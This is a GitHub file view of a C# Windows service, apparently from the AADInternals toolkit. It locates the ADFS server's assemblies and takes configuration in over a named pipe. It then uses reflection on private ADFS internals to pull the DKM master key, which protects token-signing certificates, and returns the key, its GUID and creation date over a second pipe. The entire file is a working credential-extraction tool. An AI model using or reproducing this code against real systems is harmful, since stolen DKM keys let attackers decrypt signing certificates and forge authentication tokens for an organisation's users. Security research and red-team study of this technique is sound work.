-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathKDFDumpService.cs
More file actions
150 lines (125 loc) · 7.01 KB
/
Copy pathKDFDumpService.cs
File metadata and controls
150 lines (125 loc) · 7.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
using System;
using System.IO.Pipes;
using System.IO;
using System.Reflection;
using System.ServiceProcess;
using System.Threading;
using System.Management;
namespace AADInternals
{
public partial class ADFSDump : ServiceBase
{
protected override void OnStart(string[] args)
{
new Thread(Service).Start();
}
private static void Service()
{
string configuration = "";
// First get the path to ADFS server and load assemblies
ManagementObjectCollection col = (new ManagementObjectSearcher("select * from win32_service where name=\"adfssrv\"")).Get();
string path = null;
foreach (ManagementObject mo in col)
{
path = mo["PathName"].ToString();
break;
}
path = path.Substring(0, path.LastIndexOf("\\"));
Assembly adfsAssembly = Assembly.LoadFrom(String.Format("{0}\\{1}", path, "Microsoft.IdentityServer.Service.dll"));
Assembly misAssembly = Assembly.LoadFrom(String.Format("{0}\\{1}", path, "Microsoft.IdentityServer.dll"));
Assembly dkmAssembly = Assembly.LoadFrom(String.Format("{0}\\{1}", path, "Microsoft.IdentityServer.Dkm.dll"));
//
// Wait for the configuration
//
using (NamedPipeServerStream pipeServer = new NamedPipeServerStream("AADInternals-out", PipeDirection.InOut))
{
// Wait for a client to connect
Console.Write("Waiting for client connection...");
pipeServer.WaitForConnection();
try
{
// Read user input and send that to the client process.
using (StreamReader sr = new StreamReader(pipeServer))
{
while (!sr.EndOfStream)
configuration += sr.ReadLine();
}
}
// Catch the IOException that is raised if the pipe is broken
// or disconnected.
catch (IOException e)
{
Console.WriteLine("ERROR: {0}", e.Message);
}
}
//
// Get the key
//
string returnValue;
try
{
// Load serializer class
Type serializer = misAssembly.GetType("Microsoft.IdentityServer.PolicyModel.Configuration.Utility");
// Get type of Microsoft.IdentityServer.PolicyModel.Configuration.ServiceSettingsData using .NET Reflection
Type serviceSettingsDataType = misAssembly.GetType("Microsoft.IdentityServer.PolicyModel.Configuration.ServiceSettingsData");
// Convert the configuration xml to object .NET Reflection
// public static T Deserialize<T>(string xmlData) where T : ContractObject
MethodInfo methodInfo = serializer.GetMethod("Deserialize", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static);
MethodInfo genericMethod = methodInfo.MakeGenericMethod(serviceSettingsDataType);
var configObject = genericMethod.Invoke(null, new object[] { configuration });
// Get type of Microsoft.IdentityServer.Service.Configuration.AdministrationServiceState using .NET Reflection
Type srvStateType = adfsAssembly.GetType("Microsoft.IdentityServer.Service.Configuration.AdministrationServiceState");
// Get type of Microsoft.IdentityServer.Dkm.Key using .NET Reflection
Type dkmKeyType = dkmAssembly.GetType("Microsoft.IdentityServer.Dkm.Key");
// Use the configuration object
methodInfo = srvStateType.GetMethod("UseGivenConfiguration", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static);
methodInfo.Invoke(srvStateType, new object[] { configObject });
// Get instance of Microsoft.IdentityServer.Service.Configuration.AdministrationServiceState
object srvState = srvStateType.GetField("_state", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static).GetValue(srvStateType);
// Get instance of Microsoft.IdentityServer.CertificateManagement.DkmDataProtector
object dkm = srvStateType.GetField("_certificateProtector", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static).GetValue(srvState);
// Get Instance of Microsoft.IdentityServer.Dkm.IDKM
object dkmIKM = dkm.GetType().GetField("_dkm", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static).GetValue(dkm);
// Get the key by invoking EnumerateKeys
methodInfo = dkmIKM.GetType().GetMethod("EnumerateKeys", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static);
//object[] keys = (object[]) methodInfo.Invoke(dkmIKM, null);
var keys = methodInfo.Invoke(dkmIKM, null);
// Get the key
methodInfo = keys.GetType().GetMethod("get_Item", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static);
var keyItem = methodInfo.Invoke(keys, new object[] { 0 });
// Get values
PropertyInfo propertyInfo = dkmKeyType.GetProperty("Guid");
var keyGuid = propertyInfo.GetValue(keyItem);
string strKeyGuid = keyGuid.ToString();
propertyInfo = dkmKeyType.GetProperty("KeyValue");
var keyValue = propertyInfo.GetValue(keyItem);
string strKeyValue = BitConverter.ToString((byte[])keyValue).Replace("-", "");
propertyInfo = dkmKeyType.GetProperty("WhenCreated");
var keyCreated = propertyInfo.GetValue(keyItem);
DateTime dtKeyCreated = ((DateTime)keyCreated).ToUniversalTime();
returnValue = String.Format("{{ \"Key\": \"{0}\",\"Guid\": \"{1}\",\"Created\": \"{2:u}\" }}", strKeyValue, strKeyGuid, dtKeyCreated);
}
catch (Exception e)
{
returnValue = String.Format("{{\"Error\": \"{0}\"}}", e.InnerException.Message.Replace(System.Environment.NewLine, ""));
}
//
// Send the response
//
using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "AADInternals-in", PipeDirection.InOut))
{
// Connect
pipeClient.Connect();
try
{
using (StreamWriter sw = new StreamWriter(pipeClient))
{
sw.AutoFlush = true;
sw.WriteLine(returnValue);
}
}
catch (IOException e){};
}
}
}
}